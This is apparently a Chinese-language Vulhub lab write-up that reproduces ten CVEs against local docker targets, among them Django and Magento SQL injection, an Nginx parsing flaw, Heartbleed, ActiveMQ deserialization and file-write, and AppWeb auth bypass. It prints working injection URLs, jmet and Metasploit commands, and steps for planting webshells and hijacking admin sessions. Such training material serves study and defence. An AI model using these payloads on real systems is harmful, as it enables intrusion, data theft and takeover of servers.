Vulhub靶场

【Django JSONField/HStoreField SQL 注入漏洞 】

①原理
Django是一款广为流行的开源web框架，由Python编写，许多网站和app都基于Django开发。其支持很多数据库引擎，包括Postgresql、Mysql、Oracle、Sqlite3等，但与Django天生为一对儿的数据库莫过于Postgresql了，Django官方也建议配合Postgresql一起使用。
在Django中支持Postgresql的数据类型：JSONField、HStoreField、ArrayField。
该漏洞出现的原因在于Django中JSONField类的实现，Django的model最本质的作用是生成SQL语句，而在Django通过JSONField生成sql语句时，是通过简单的字符串拼接，通过JSONField类获得KeyTransform类并生成sql语句的位置，因此可以进行SQL注入

②vulhub进入目录：/home/vulhub/vulhub-master/django/CVE-2019-14234，启动环境：docker-compose up -d，访问：http://192.168.28.129:8000/
即可看到Django默认首页

③首先登陆后台：http://192.168.28.129:8000/admin/，用户名密码为admin、a123123123。
登陆后台后，进入模型Collection的管理页面：http://192.168.28.129:8000/admin/vuln/collection/

④然后在GET参数中构造detail__a’b=123提交，其中detail是Collection模型中的JSONField，然后我们看到单引号注入成功，SQL语句报错。
http://192.168.28.129:8000/admin/vuln/collection/?detail__a%27b=123

⑤继续构造SQL语句，“or 1=1”–永真，因此应该返回所有结果
http://192.168.28.129:8000/admin/vuln/collection/?detail__title’)=‘1’ or 1=1–
但是我们需要对构造的SQL语句进行URL编码才能够正常访问：
http://192.168.28.129:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1–%20

⑥结合CVE-2019-9193我们尝试进行命令注入，构造url
http://192.168.28.129:8000/admin/vuln/collection/?detail__title’)=‘1’ or 1=1 ;create table cmd_exec(cmd_output text)–
对构造的SQL语句进行URL编码
http://192.168.28.129:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)–%20

页面结果虽然报错，但是报错原因是no results to fetch，说明我们的语句已经执行

【Magento 2.2 SQL注入漏洞】

①原理
Magento（麦进斗）是一款新的专业开源电子商务平台，采用php进行开发，使用Zend Framework框架。设计得非常灵活，具有模块化架构体系和丰富的功能。
其prepareSqlCondition函数存在一处二次格式化字符串的bug，导致引入了非预期的单引号，造成SQL注入漏洞。

②vulhub进入目录：/home/vulhub/vulhub-master/magento/2.2-sqli，启动环境：docker-compose up -d，访问：http://192.168.28.129:8080，即可看到Magento的安装页面。安装Magento时，数据库地址填写mysql，账号密码均为root，其他保持默认。

③安装完成之后成功进入Magento页面

④分别访问如下链接
http://192.168.28.129:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)±-±

http://192.168.28.129:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)±-±

可见，在执行
))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) – -
和在执行
))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) – -
时，返回的HTTP状态码不同，通过改变OR的条件，即可实现SQL BOOL型盲注

⑤下载利用这个POC，可以读取管理员的session

⑥在kali中利用该POC，成功读取到管理员的session，在利用该POC时，需要Magento的登录页面有管理员正在登录，否则就会提示：No session is available

python3 magento-sqli.py http://192.168.28.129:8080

⑦修改登录页面的session，不用账号密码就可以直接登录

【Nginx 解析漏洞】

①原理
该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。
当用户请求的url后缀为123.jpg/123.php时，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由Nginx生成的$fastcgi_script_name决定。而为了较好的支持PATH_INFO的提取，在PHP的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
一般情况下cgi.fix_pathinfo的值默认为1，也就是开启，从而引发该漏洞。当Nginx遇到文件路径“123.jpg/123.php”时，由于其后缀为.php文件，所以会被传到上述所示代码中，在查找文件时，若“123.jpg/123.php”不存在，则会去掉最后的“123.php”，然后判断“123.jpg”是否存在，若存在，则把“123.jpg”当做php解析。

②vulhub进入目录：
/home/vulhub/vulhub-master/nginx/nginx_parsing_vulnerability，启动环境：docker-compose up -d

③访问
http://192.168.28.129/uploadfiles/nginx.png
和
http://192.168.28.129/uploadfiles/nginx.png/.php
即可查看效果。

正常显示：

增加/.php后缀，被解析成PHP文件：

④访问http://192.168.28.129/index.php，可以测试上传功能，上传一个正常的图片1.png，上传成功。上传一个phpinfo.php文件，不允许上传。

⑤新建一个php文件，写入一句话木马，将该php文件保存成11.png，但是上传失败了，这是因为这个png文件中只有php代码，服务器在进行图片检验的时候，没有检测到图片的标识符，所以没有通过。

⑥在文件11.png里面加上：GIF89a（gif文件头的标志），上传成功，访问该文件，正常，只是因为编码问题无法正常显示。

⑦在其后缀加上 /.php，访问
http://192.168.28.129/uploadfiles/59b2900aa03cb2182a51cdb520b535b6.png/.php

成功解析了php代码

⑧使用蚁剑连接，成功拿到webshell

【OpenSSL Heartbleed 心脏出血】

①原理
OpenSSL“心脏出血”漏洞的问题出现在openSSL处理TLS心跳的过程中，TLS心跳的流程是：A向B发送请求包，B收到包后读取这个包的内容(data)，并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。
当B收到A的请求包后，并没有的验证A包的实际长度，而是简单的把请求包data中说明的长度当作data的实际长度，于是当请求包中说明的长度与请求包数据实际长度不同时，问题就产生了。假设A构造一个请求包，它的实际内容长度只有1，而却告诉B的它的长度是65535，那么B接受到这个包后就会把A的内容完全当作65535来处理，其实到这里，问题还并不严重，最严重的问题出在，心跳的响应包还需要附带请求包的全部内容，这就需要程序做一次将请求包的数据从它所在的内存拷贝到响应包的内存里的操作。
这下就出大问题了，当拷贝的时候，程序认为A包的内容长度是65535个字节，结果A包在内存里面实际只有1个字节，于是程序不仅拷贝出了A包的内容，还“傻傻”地将A包数据在内存中位置后额外的65534个字节拷贝进了响应包里，并将这个响应包发还给了A，于是A便轻易地获得了B内存中这65534个字节的数据

②vulhub进入目录：
/home/vulhub/vulhub-master/openssl/heartbleed，启动环境：docker-compose up -d

③Kali运行 nmap 漏洞扫描脚本对靶机进行漏洞检测：

④打开MSF，使用search heartbleed查找攻击模块

⑤执行命令：
use auxiliary/scanner/ssl/openssl_heartbleed
选择第一个攻击模块
设置相关参数：

设置verbose为true才能看到泄露的信息

⑥最后运行run命令，可以看到靶机的64KB信息。至此，利用 Kali 的 MSF 框架对 OpenSSL“心脏滴血”漏洞 的靶机攻击成功结束

⑦当然，使用官方的POC也是可以漏洞复现的

【实验5-Apache SSI 远程命令执行漏洞】

①原理
在测试任意文件上传漏洞的时候，目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持，我们可以上传一个shtml文件，并利用：

语法执行任意命令。

②vulhub进入目录：/home/vulhub/vulhub-master/httpd/ssi-rce，启动环境：docker-compose up -d，环境启动后，
访问http://192.168.28.129:8080/upload.php，即可看到一个上传表单

③上传一张正常的图片，成功，上传一张php文件，失败

④正常上传PHP文件是不允许，我们可以上传一个shell.shtml文件，成功上传，命令也成功执行，可以读取该目录下的文件名

⑤使用burpsuit抓包，同样也可以看到读取到的文件，

⑥我们也可以修改命令，利用该命令执行漏洞，可以获取更多的信息

【Electron WebPreferences远程命令执行漏洞】

①原理
Electron是由Github开发，用HTML，CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中，并将其打包为Mac，Windows和Linux系统下的应用来实现这一目的。
Electron在设置了nodeIntegration=false的情况下（默认），页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制，导致在用户可执行JavaScript的情况下（如访问第三方页面或APP存在XSS漏洞时），能够执行任意命令。

②vulhub目录下：/home/vulhub/vulhub-master/electron/CVE-2018-15685
搭建及运行漏洞环境，编译一个包含漏洞的应用：
docker-compose run -e PLATFORM=win64 --rm electron
其中PLATFORM的值是运行该应用的操作系统，可选项有：win64、win32、mac、linux

③编译完成后，再执行如下命令，启动web服务：
docker-compose run --rm -p 8080:80 web

④访问http://192.168.28.129:8080/cve-2018-15685.tar.gz
即可下载编译好的应用

⑤提交：

XSS

显然这里存在一处XSS漏洞。

⑥提交：

发现没有任何反馈，原因就是nodeIntegration=false

⑦提交POC：

此时，calc.exe已成功弹出

【ActiveMQ 反序列化漏洞】

①原理
Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

②vulhub进入目录：/home/vulhub/vulhub-master/activemq/CVE-2015-5254，启动环境

③环境运行后，将监听61616和8161两个端口其中61616是工作端口，消息在这个端口进行传递; 8161是网络管理页面端口，访问http://192.168.28.129:8161即可看到网络管理页面

④访问http://192.168.28.129:8161/admin，（默认的用户名/密码：admin/admin）

⑤kali下载jmet的jar文件，并在同目录下创建一个external文件夹（否则可能会爆文件夹不存在的错误）。
jmet原理是使用ysoserial生成Payload并发送（其jar内自带ysoserial，无需再自己下载），所以我们需要在ysoserial是gadget中选择一个可以使用的，比如ROME。

cd /opt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

⑥执行命令：
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/sucess” -Yp ROME 192.168.28.129 61616

⑦此时会给目标的ActiveMQ添加一个名为事件的队列，可以我们通过http://192.168.28.129:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息：

点击查看这条消息即可触发命令执行

⑧进入容器：docker-compose exec activemq bash，可见/tmp/success已成功创建，说明漏洞利用成功

⑨将命令替换成弹shell语句再利用，需要注意的是，通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下，我们可以诱导管理员访问我们的链接以触发，或者伪装成其他合法服务需要的消息，等待客户端访问的时候触发

【ActiveMQ任意文件写入漏洞】

①原理
ActiveMQ的web控制台分三个应用，admin、api和fileserver，其中admin是管理员页面，api是接口，fileserver是储存文件的接口；admin和api都需要登录后才能使用，fileserver无需登录。fileserver是一个RESTful API接口，我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作，其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷，但后来发现：
1.其使用率并不高
2.文件操作容易出现漏洞
所以，ActiveMQ在5.12.x~5.13.x版本中，已经默认关闭了fileserver这个应用（你可以在conf/jetty.xml中开启之）；在5.14.0版本以后，彻底删除了fileserver应用。在测试过程中，可以关注ActiveMQ的版本，避免走弯路
本漏洞出现在fileserver应用中，漏洞原理其实非常简单，就是fileserver支持写入文件（但不解析jsp），同时支持移动文件（MOVE请求）。所以，我们只需要写入一个文件，然后使用MOVE请求将其移动到任意位置，造成任意文件写入漏洞。

②vulhub进入目录：/home/vulhub/vulhub-master/activemq/CVE-2016-3088，启动环境：docker-compose up -d，环境监听61616端口和8161端口，其中8161为web控制台端口，本漏洞就出现在web控制台中。访问：
http://192.168.28.129:8161/
看到web页面，说明环境已成功运行。

③写入webshell，需要写在admin或api应用中，而这俩应用都需要登录才能访问，默认的ActiveMQ账号密码均为admin，首先访问
http://192.168.28.129:8161/admin/test/systemProperties.jsp
查看ActiveMQ的绝对路径： /opt/activemq

④burpsuite抓包拦截请求，然后右击选择发送到Repeater模块。替换GET方法为PUT方法，上传一个2.txt文件，文件里包含的是恶意内容或代码。

⑤访问上传文件查看是否上传成功：
http://192.168.28.129:8161/fileserver/2.txt

⑥由于上传的是文本文件并不能被服务器解析，所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp，可以解析jsp文件的路径有：
1．/opt/activemq/webapps/api
2．/opt/activemq/webapps/admin

⑦访问webshell（需要登录）

⑧执行命令

【AppWeb认证绕过漏洞】

①原理
AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写，能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。
AppWeb可以进行认证配置，其认证方式包括以下三种：
basic 传统HTTP基础认证
digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头
form 表单认证
其7.0.3之前的版本中，对于digest和form两种认证方式，如果用户传入的密码为null（也就是没有传递密码参数），appweb将因为一个逻辑错误导致直接认证成功，并返回session。

②vulhub进入目录：/home/vulhub/vulhub-master/appweb/CVE-2018-8715，启动环境：docker-compose up -d，环境启动后，访问http://192.168.28.129:8080需要输入账号密码。

③利用该漏洞需要知道一个已存在的用户名，当前环境下用户名为admin，使用burpsuite抓包

④构造头：Authorization: Digest username=admin，因为我们没有传入密码字段，所以服务端出现错误，直接返回了200，且包含一个session

⑤设置这个session到浏览器，即可正常访问需要认证的页面

【Django < 2.0.8 任意URL跳转漏洞】

①原理
Django默认配置下，如果匹配上的URL路由中最后一位是/，而用户访问的时候没加/，Django默认会跳转到带/的请求中。（由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定）。
在path开头为//example.com的情况下，Django没做处理，导致浏览器认为目的地址是绝对路径，最终造成任意URL跳转漏洞。

该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。

②vulhub进入目录：/home/vulhub/vulhub-master/django/CVE-2018-14574，启动环境：docker-compose up -d，环境启动后，访问http://192.168.28.129:8000

③访问http://192.168.28.129:8000//www.baidu.com，即可返回是301跳转到//www.baidu.com/

④访问http://192.168.28.129:8000//www.ichunqiu.com，即可返回是301跳转到//www.ichunqiu.com/